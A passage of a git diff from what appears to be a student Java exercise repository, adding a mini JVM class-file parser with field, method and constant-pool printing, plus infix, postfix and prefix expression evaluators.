 		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/field/Field.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..18bcdb2851
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,38 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.field;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+
+
+	private ConstantPool pool;
+
+	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		int accessFlag = iter.readTwoBytesToInt();
+		int nameIndex = iter.readTwoBytesToInt();
+		int descIndex = iter.readTwoBytesToInt();
+		int attributesCount = iter.readTwoBytesToInt();
+		if (attributesCount > 0)
+			throw new RuntimeException("attributeCount of field not impl");
+		return new Field(accessFlag, nameIndex, descIndex, pool);
+	}
+
+
+	@Override
+	public String toString() {
+		return pool.getUTF8String(nameIndex)+":"+pool.getUTF8String(descriptorIndex);
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 27d0c63af0..cf2db01a36 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -3,10 +3,10 @@
 import com.coding.mini_jvm.src.com.coderising.jvm.util.Util;
 
 public class ByteCodeIterator {
-    private static final int U1 = 1;
-    private static final int U2 = 2;
-    private static final int U4 = 4;
-    private static final int U8 = 8;
+    public static final int U1 = 1;
+    public static final int U2 = 2;
+    public static final int U4 = 4;
+    public static final int U8 = 8;
     private byte[] bytes;
     private int cursor;
 
@@ -27,12 +27,27 @@ public String readBytesToString(int len) {
     }
 
 
+    public String readBytesToHexString(int len) {
+        byte[] bs = new byte[len];
+        System.arraycopy(bytes, cursor, bs, 0, len);
+        String ret = Util.byteToHexString(bs);
+        cursor += len;
+        return ret;
+    }
+
+
     public int readTwoBytesToInt() {
         int ret = Util.bytes2Int(bytes, cursor, U2);
         cursor += U2;
         return ret;
     }
 
+    public int readFourBytesToInt() {
+        int ret = Util.bytes2Int(bytes, cursor, U4);
+        cursor += U4;
+        return ret;
+    }
+
     public int readByteToInt() {
         int ret = Util.bytes2Int(bytes, cursor, U1);
         cursor += U1;
@@ -49,4 +64,12 @@ public int skip(int len) {
         cursor += len;
         return cursor;
     }
+
+    public int back(int len) {
+        if (cursor + len < 0 || cursor + len > bytes.length - 1) {
+            throw new IndexOutOfBoundsException();
+        }
+        cursor -= len;
+        return cursor;
+    }
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index 542968c809..afe40a2156 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -4,6 +4,8 @@
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassIndex;
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
+import com.coding.mini_jvm.src.com.coderising.jvm.field.Field;
+import com.coding.mini_jvm.src.com.coderising.jvm.method.Method;
 
 
 public class ClassFileParser {
@@ -18,11 +20,22 @@ public ClassFile parse(byte[] codes) {
 		//主版本号
 		classFile.setMajorVersion(iterator.readTwoBytesToInt());
 		//解析常量池
-		classFile.setConstPool(parseConstantPool(iterator));
+		ConstantPool constantPool = parseConstantPool(iterator);
+		classFile.setConstPool(constantPool);
 		//访问限制符
 		classFile.setAccessFlag(parseAccessFlag(iterator));
 		//当前类/父类
 		classFile.setClassIndex(parseClassIndex(iterator));
+
+		//接口数量暂时不实现
+		int intefaceCount = iterator.readTwoBytesToInt();
+		if (intefaceCount > 0) {
+			throw new RuntimeException();
+		}
+		//解析字段
+		parseFields(classFile,iterator, constantPool);
+		//解析方法
+		parseMethod(classFile, iterator, constantPool);
 		return classFile;
 	}
 
@@ -99,5 +112,19 @@ private ConstantPool parseConstantPool(ByteCodeIterator iterator) {
 		return constantPool;
 	}
 
-	
+
+	private void parseFields(ClassFile classFile, ByteCodeIterator iterator, ConstantPool constantPool) {
+		int fieldCount = iterator.readTwoBytesToInt();
+		for (int i = 0; i < fieldCount; i++)
+			classFile.addField(Field.parse(constantPool, iterator));
+	}
+
+
+	private void parseMethod(ClassFile clzFile, ByteCodeIterator iter, ConstantPool pool) {
+		int methodCount = iter.readTwoBytesToInt();
+		for (int i = 0; i < methodCount; i++) {
+			clzFile.addMethod(Method.parse(clzFile, iter));
+		}
+	}
+
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/method/Method.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..b848e6b515
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,69 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.method;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.attr.CodeAttr;
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Method {
+
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+
+	private CodeAttr codeAttr;
+
+	private ClassFile clzFile;
+
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.readTwoBytesToInt();
+		int nameIndex = iter.readTwoBytesToInt();
+		int descIndex = iter.readTwoBytesToInt();
+		Method method = new Method(clzFile, accessFlag, nameIndex, descIndex);
+		int attrCount = iter.readTwoBytesToInt();
+		if (attrCount > 1)
+			throw new RuntimeException("other attrbute not impl yet");
+		for (int i = 0; i < attrCount; i++) {
+			int attrNameIndex = iter.readTwoBytesToInt();
+			if ("Code".equals(clzFile.getConstantPool().getUTF8String(attrNameIndex))) {
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				method.setCodeAttr(codeAttr);
+			} else
+				throw new RuntimeException(" attribute[ " + attrNameIndex + " ] not impl yet");
+		}
+		return method;
+	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..39553dd48c
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,45 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.print;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
+import com.coding.mini_jvm.src.com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "H:\\sourceCode\\coding2017\\group24\\494800949";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..baa0e8ead4
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,34 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.print;
+
+
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantInfo;
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
+
+import java.util.Formatter;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+
+	ConstantPoolPrinter(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public void print() {
+
+		System.out.println("Constant Pool:");
+
+		for (int i = 1; i <= (int)pool.getSize(); i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			Formatter formatter = new Formatter(System.out);
+			formatter.format("%5s", "#"+i);
+			constantInfo.accept(new SimpleVistor());
+		}
+	}
+
+	public static void main(String[] args) {
+//		Formatter f = new Formatter(System.out);
+//		f.format("%-15s %-5s %-10s\n", "Item", "Qty", "Price");
+//		f.format("%-15s %-5s %-10s\n", "----", "----", "-----");
+
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java
new file mode 100644
index 0000000000..e10e7885ba
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java
@@ -0,0 +1,56 @@
+package com.coding.mini_jvm.src.com.coderising.jvm.print;
+
+import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
+
+import java.util.Formatter;
+
+/**
+ * Created by Administrator on 2017/4/23 0023.
+ */
+public class SimpleVistor implements ConstantInfo.Visitor {
+    private              Formatter formatter    = new Formatter(System.out);
+    private              String    format       = " = %-20s %-20s %-100s\n";
+    private static final String    HASH_KEY     = "#";
+    private static final String    DOUBLE_SLASH = "// ";
+    private static final String    DOT          = ".";
+    private static final String    COLON        = ":";
+
+    @Override
+    public void visitClassInfo(ClassInfo info) {
+        formatter.format(format, "Class",
+                HASH_KEY + info.getUtf8Index(),
+                DOUBLE_SLASH + info.getClassName());
+    }
+
+    @Override
+    public void visitFieldRef(FieldRefInfo info) {
+        NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo)info.getConstantInfo(info.getNameAndTypeIndex());
+        formatter.format(format, "Fieldref",
+                HASH_KEY + info.getClassInfoIndex() + DOT + HASH_KEY + info.getNameAndTypeIndex(),
+                DOUBLE_SLASH + info.getClassName() + DOT + nameAndTypeInfo.getName() + COLON + nameAndTypeInfo.getTypeInfo());
+    }
+
+    @Override
+    public void visitMethodRef(MethodRefInfo info) {
+        formatter.format(format, "Methodref",
+                HASH_KEY + info.getClassInfoIndex() + DOT + HASH_KEY + info.getNameAndTypeIndex(),
+                DOUBLE_SLASH + info.getClassName() + DOT + info.getMethodName());
+    }
+
+    @Override
+    public void visitNameAndType(NameAndTypeInfo info) {
+        formatter.format(format, "NameAndType",
+                HASH_KEY + info.getIndex1() + COLON + HASH_KEY + info.getIndex2(),
+                DOUBLE_SLASH + info.getName() + COLON + info.getTypeInfo());
+    }
+
+    @Override
+    public void visitString(StringInfo info) {
+        formatter.format(format, "String", HASH_KEY + info.getIndex(), DOUBLE_SLASH + info.toString());
+    }
+
+    @Override
+    public void visistUTF8(UTF8Info info) {
+        formatter.format(format, "Utf8", info.getValue(), "");
+    }
+}
diff --git a/group24/494800949/src/main/java/com/coding/weak1/Stack.java b/group24/494800949/src/main/java/com/coding/weak1/Stack.java
index ffa00f99e7..0eecd9d684 100644
--- a/group24/494800949/src/main/java/com/coding/weak1/Stack.java
+++ b/group24/494800949/src/main/java/com/coding/weak1/Stack.java
@@ -18,6 +18,8 @@ public Object pop(){
 	}
 	
 	public Object peek(){
+		if (size() == 0)
+			return null;
 		return elementData.get(elementData.size()-1);
 	}
 	public boolean isEmpty(){
diff --git a/group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java b/group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java
new file mode 100644
index 0000000000..34c1b15123
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java
@@ -0,0 +1,127 @@
+package com.coding.week6.expr;
+
+import com.coding.weak1.Stack;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+public class InfixExpr {
+	String expr = null;
+	private Stack numberStack;
+	private Stack operatorStack;
+	private List<Token> tokens;
+	public InfixExpr(String expr) {
+		this.expr = expr;
+		this.numberStack = new Stack();
+		this.operatorStack = new Stack();
+		tokens = new ArrayList<>();
+	}
+
+
+	public float evaluate() {
+		fillStack();
+		while (!operatorStack.isEmpty()) {
+			char symbol = (char) operatorStack.pop();
+			float operTop1 = (float) numberStack.pop();
+			float operTop2 = (float) numberStack.pop();
+			numberStack.push(caculate(symbol, operTop2, operTop1));
+		}
+		return (float)numberStack.pop();
+	}
+
+	public void parseTokens() {
+		char[] chars = expr.toCharArray();
+		for (int i = 0; i < chars.length; i++) {
+			char c = chars[i];
+			if (Token.isOperator(c)) {
+				Token token = new Token(c+"");
+				tokens.add(token);
+			} else {
+				String t = "";
+				while (Token.isDigit(c)){
+					t += c;
+					i++;
+					if (i == chars.length)
+						break;
+					c = chars[i];
+				}
+				Token token = new Token(t);
+				tokens.add(token);
+				i--;
+			}
+		}
+	}
+
+
+	public void fillStack() {
+		parseTokens();
+		Iterator<Token> iterator = tokens.iterator();
+		while (iterator.hasNext()) {
+			Token token = iterator.next();
+			if (token.isNumber()) {
+				numberStack.push((float)token.parseInt());
+				continue;
+			}
+			if (token.isOperator()) {
+				char operator = token.parseOperator();
+				if (operatorStack.isEmpty()) {
+					operatorStack.push(operator);
+				}else {
+					char topSymbol = (char)operatorStack.peek();
+					if (compare(operator, topSymbol) > 0) {
+						operatorStack.push(operator);
+					} else {
+						float operTop1 = (float) numberStack.pop();
+						float operTop2 = (float) numberStack.pop();
+						numberStack.push(caculate(topSymbol, operTop2, operTop1));
+						operatorStack.pop();
+						operatorStack.push(operator);
+					}
+				}
+			}
+
+		}
+	}
+
+
+	private float caculate(char symbol, float oper1, float oper2) {
+		if ('*' == symbol)
+			return oper1 * oper2;
+		else if ('/' == symbol)
+			return oper1 / oper2;
+		else if ('+' == symbol)
+			return oper1 + oper2;
+		else if ('-' == symbol)
+			return oper1 - oper2;
+		else
+			throw new RuntimeException("this operation has not implement");
+	}
+
+	public int compare(char opertor1, char opertor2) {
+		if (!Token.isOperator(opertor1) )
+			throw new IllegalArgumentException(opertor1 + "is not supported opertor");
+		if (!Token.isOperator(opertor2))
+			throw new IllegalArgumentException(opertor2 + "is not supported opertor");
+		if (Token.isAddOrSub(opertor1)) {
+			if (Token.isAddOrSub(opertor2))
+				return 0;
+			else
+				return -1;
+		}
+		else {
+			if (Token.isAddOrSub(opertor2))
+				return 1;
+			else
+				return 0;
+		}
+	}
+
+	public String printNumberStack() {
+		return numberStack.toString();
+	}
+
+	public String printOperatorStack() {
+		return operatorStack.toString();
+	}
+}
diff --git a/group24/494800949/src/main/java/com/coding/week6/expr/Token.java b/group24/494800949/src/main/java/com/coding/week6/expr/Token.java
new file mode 100644
index 0000000000..b58aa36968
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week6/expr/Token.java
@@ -0,0 +1,52 @@
+package com.coding.week6.expr;
+
+/**
+ * Created by Administrator on 2017/4/16 0016.
+ */
+public class Token {
+
+    private String symbol;
+
+    public Token(String symbol) {
+        this.symbol = symbol;
+    }
+
+    public boolean isNumber() {
+        return symbol.matches("^\\d+$");
+    }
+
+
+    public boolean isOperator() {
+        return symbol.matches("^[\\+|\\*|\\-|\\/]$");
+    }
+
+    public int parseInt() {
+        return Integer.valueOf(symbol);
+    }
+
+    public char parseOperator() {
+        return symbol.charAt(0);
+    }
+
+
+    public static boolean isOperator(char c) {
+        return isAddOrSub(c) || isMulityOrDivide(c);
+    }
+
+    public static boolean isAddOrSub(char c) {
+        return c == '+' || c == '-';
+    }
+
+    public static boolean isMulityOrDivide(char c) {
+        return c == '/' || c == '*';
+    }
+
+    public static boolean isDigit(char c) {
+        return  c >= '0' && c <= '9';
+    }
+
+    @Override
+    public String toString(){
+        return symbol;
+    }
+}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java
new file mode 100644
index 0000000000..3962b49fce
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java
@@ -0,0 +1,57 @@
+package com.coding.week6.exprNew;
+
+import com.coding.weak1.Stack;
+
+import java.util.List;
+
+public class InfixExpr {
+	String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+
+	public float evaluate() {
+
+		Stack operatorStack = new Stack();
+		Stack numberStack = new Stack();
+		fillStack(numberStack, operatorStack);
+		while (!operatorStack.isEmpty()) {
+			Operator symbol = (Operator) operatorStack.pop();
+			float operTop1 = (float) numberStack.pop();
+			float operTop2 = (float) numberStack.pop();
+			numberStack.push(symbol.apply(operTop2, operTop1));
+		}
+		return (float)numberStack.pop();
+	}
+
+	public void fillStack(Stack numberStack, Stack operatorStack) {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numberStack.push(token.getFloatValue());
+			}
+			else if (token.isOperator()) {
+				Operator o = token.getOperator();
+				if (operatorStack.isEmpty()) {
+					operatorStack.push(o);
+				}else {
+					Operator top = (Operator)operatorStack.peek();
+					if (o.hasHigherPriority(top)) {
+						operatorStack.push(o);
+					} else {
+						float operTop1 = (float) numberStack.pop();
+						float operTop2 = (float) numberStack.pop();
+						numberStack.push(top.apply(operTop2, operTop1));
+						operatorStack.pop();
+						operatorStack.push(o);
+					}
+				}
+			}
+
+		}
+	}
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java
new file mode 100644
index 0000000000..f6b4681e46
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week6/exprNew/Operator.java
@@ -0,0 +1,75 @@
+package com.coding.week6.exprNew;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public enum Operator {
+    ADD("+", 1) {
+        public float apply(float x, float y){
+            return x + y;
+        }
+    },
+
+    SUB("-", 1) {
+        @Override
+        public float apply(float x, float y) {
+            return x - y;
+        }
+    },
+
+    MULT("*", 2) {
+        @Override
+        public float apply(float x, float y) {
+            return x * y;
+        }
+    },
+
+    DIVI("/", 2) {
+        @Override
+        public float apply(float x, float y) {
+            return x / y;
+        }
+    };
+    private String symbol;
+    private int    priority;
+
+    Operator(String symbol, int priority) {
+        this.symbol = symbol;
+        this.priority = priority;
+    }
+
+    public boolean hasHigherPriority(Operator o) {
+        return this.priority > o.priority;
+    }
+
+    public String symbol() {
+        return symbol;
+    }
+
+    public static List<String> symbols() {
+        List<String> symbos = new ArrayList<>();
+        for (Operator o : Operator.values()) {
+            symbos.add(o.symbol);
+        }
+        return symbos;
+    }
+
+    public abstract float apply(float x, float y);
+
+    private static final Map<String, Operator> map = new HashMap<String, Operator>();
+
+    static {
+        for (Operator o : Operator.values()) {
+            map.put(o.symbol, o);
+        }
+    }
+
+    public static Map<String, Operator> getOperatorMap() {
+        return map;
+    }
+}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java
new file mode 100644
index 0000000000..c925a22705
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week6/exprNew/Token.java
@@ -0,0 +1,63 @@
+package com.coding.week6.exprNew;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class Token {
+
+    private int    type;
+    private String value;
+
+    static final int NUMBER   = 1;
+    static final int OPERATOR = 2;
+    static final int LEFT_BRACKET  = 3;
+    static final int RIGHT_BRACKET  = 4;
+    public Token(int type, String value) {
+        this.type = type;
+        this.value = value;
+    }
+
+
+    public boolean isNumber(){
+        return type == NUMBER;
+    }
+
+    public boolean isOperator(){
+        return type == OPERATOR;
+    }
+
+    public boolean isLeftBracket() {
+        return type == LEFT_BRACKET;
+    }
+
+    public boolean isRightBracket() {
+        return type == RIGHT_BRACKET;
+    }
+
+    public float getFloatValue() {
+        if (isNumber())
+            return Integer.valueOf(value);
+        else
+            throw new RuntimeException("not a number");
+    }
+
+    public String toString() {
+        return value;
+    }
+
+
+    public Operator getOperator() {
+        if (isOperator()) {
+            return Operator.getOperatorMap().get(value);
+        } else {
+            throw new RuntimeException("not a operator");
+        }
+    }
+
+
+    public String getValue() {
+        return value;
+    }
+
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java
new file mode 100644
index 0000000000..52757dc0c7
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week6/exprNew/TokenParser.java
@@ -0,0 +1,60 @@
+package com.coding.week6.exprNew;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by Administrator on 2017/4/22 0022.
+ */
+public class TokenParser {
+
+    private static List<String> operators = Operator.symbols();
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+        int i = 0;
+        while (i < expr.length()) {
+            char c = expr.charAt(i);
+            Token token;
+            if (Character.isDigit(c)) {
+                int nextOperIndex = getNextOperIndex(i, expr);
+                String n = expr.substring(i, nextOperIndex);
+                token = new Token(Token.NUMBER, n);
+                tokens.add(token);
+                i = nextOperIndex;
+            } else if (isOperator(c)) {
+                token = new Token(Token.OPERATOR, c+"");
+                tokens.add(token);
+                i++;
+            } else if (String.valueOf(c).matches("\\s")){
+                i++;
+            } else if (c == '(') {
+                token = new Token(Token.LEFT_BRACKET, String.valueOf(c));
+                tokens.add(token);
+                i++;
+            } else if (c == ')') {
+                token = new Token(Token.RIGHT_BRACKET, String.valueOf(c));
+                tokens.add(token);
+                i++;
+            } else {
+                throw new RuntimeException(c +" is not number or support operator");
+            }
+        }
+        return tokens;
+    }
+
+    private int getNextOperIndex(int i, String expr) {
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+      return  operators.contains(String.valueOf(c));
+    }
+
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java b/group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java
new file mode 100644
index 0000000000..6717f571ee
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week7/InfixToPostfix.java
@@ -0,0 +1,69 @@
+package com.coding.week7;
+
+import com.coding.week6.exprNew.Operator;
+import com.coding.week6.exprNew.Token;
+import com.coding.week6.exprNew.TokenParser;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		/**
+		 1 建立符号栈
+		 2 顺序扫描中序表达式
+		 a） 是数字， 直接输出
+		 b） 是运算符
+		 i : “(” 直接入栈
+		 ii : “)” 将符号栈中的元素依次出栈并输出, 直到 “(“, “(“只出栈, 不输出
+		 iii: 其他符号, 将符号栈中的元素依次出栈并输出, 直到 遇到比当前符号优先级更低的符号或者”(“。 将当前符号入栈。
+		 3 扫描完后, 将栈中剩余符号依次输出
+		 */
+		List<Token> targetTokens = new ArrayList<>();
+		TokenParser tokenParser = new TokenParser();
+		List<Token> sourceTokes = tokenParser.parse(expr);
+		Stack<Token> operStack = new Stack<Token>();
+		for (Token token : sourceTokes) {
+			if (token.isNumber()) {
+				targetTokens.add(token);
+			} else {
+				//左括号
+				if (token.isLeftBracket()) {
+					operStack.push(token);
+				//右括号
+				} else if (token.isRightBracket()) {
+					while (!operStack.isEmpty()) {
+						Token t = operStack.peek();
+						if (t.isLeftBracket()) {
+							operStack.pop();
+							break;
+						} else {
+							targetTokens.add(operStack.pop());
+						}
+					}
+				//普通运算符
+				} else {
+					Operator oper = token.getOperator();
+					if (!operStack.isEmpty()) {
+						Token t = operStack.peek();
+						while (!t.isLeftBracket() && !oper.hasHigherPriority(t.getOperator()) && !operStack.isEmpty()) {
+							t = operStack.pop();
+							targetTokens.add(t);
+						}
+					}
+					operStack.push(token);
+				}
+			}
+		}
+		//将栈中操作符全部输出
+		while (!operStack.isEmpty()) {
+			targetTokens.add(operStack.pop());
+		}
+		return targetTokens;
+	}
+	
+	
+
+}
diff --git a/group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java b/group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java
new file mode 100644
index 0000000000..8fb78e6a8d
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week7/PostfixExpr.java
@@ -0,0 +1,39 @@
+package com.coding.week7;
+
+import com.coding.week6.exprNew.Operator;
+import com.coding.week6.exprNew.Token;
+import com.coding.week6.exprNew.TokenParser;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+	String expr = null;
+	final Stack<Float> numStack;
+	final Stack<Operator> operStack;
+
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+		this.numStack = new Stack<>();
+		this.operStack = new Stack<>();
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numStack.push(token.getFloatValue());
+			} else if (token.isOperator()) {
+				if (numStack.size() >= 2) {
+					Float num1 = numStack.pop();
+					Float num2 = numStack.pop();
+					Float result = token.getOperator().apply(num2, num1);
+					numStack.push(result);
+				}
+			}
+		}
+		return numStack.pop();
+	}
+	
+}
diff --git a/group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java b/group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java
new file mode 100644
index 0000000000..1bb8e4fd8a
--- /dev/null
+++ b/group24/494800949/src/main/java/com/coding/week7/PrefixExpr.java
@@ -0,0 +1,43 @@
+package com.coding.week7;
+
+import com.coding.week6.exprNew.Operator;
+import com.coding.week6.exprNew.Token;
+import com.coding.week6.exprNew.TokenParser;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	final Stack<Float>    numStack;
+	final Stack<Operator> operStack;
+
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+		numStack = new Stack<>();
+		operStack = new Stack<>();
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		parser.parse(expr);
+		List<Token> tokens = parser.parse(expr);
+		Collections.reverse(tokens);
+		for (Token token : tokens) {
+			if (token.isNumber()) {
+				numStack.push(token.getFloatValue());
+			} else if (token.isOperator()) {
+				if (numStack.size() >= 2) {
+					Float num1 = numStack.pop();
+					Float num2 = numStack.pop();
+					Float result = token.getOperator().apply(num1, num2);
+					numStack.push(result);
+				}
+			}
+		}
+		return numStack.pop();
+	}
+	
+	
+}
diff --git a/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java b/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java
index a03f29c0c3..b9561f243b 100644
--- a/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java
+++ b/group24/494800949/src/test/java/com/coding/mini_jvm/test/ClassFileloaderTest.java
@@ -2,23 +2,27 @@
 
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassIndex;
+import com.coding.mini_jvm.src.com.coderising.jvm.cmd.BiPushCmd;
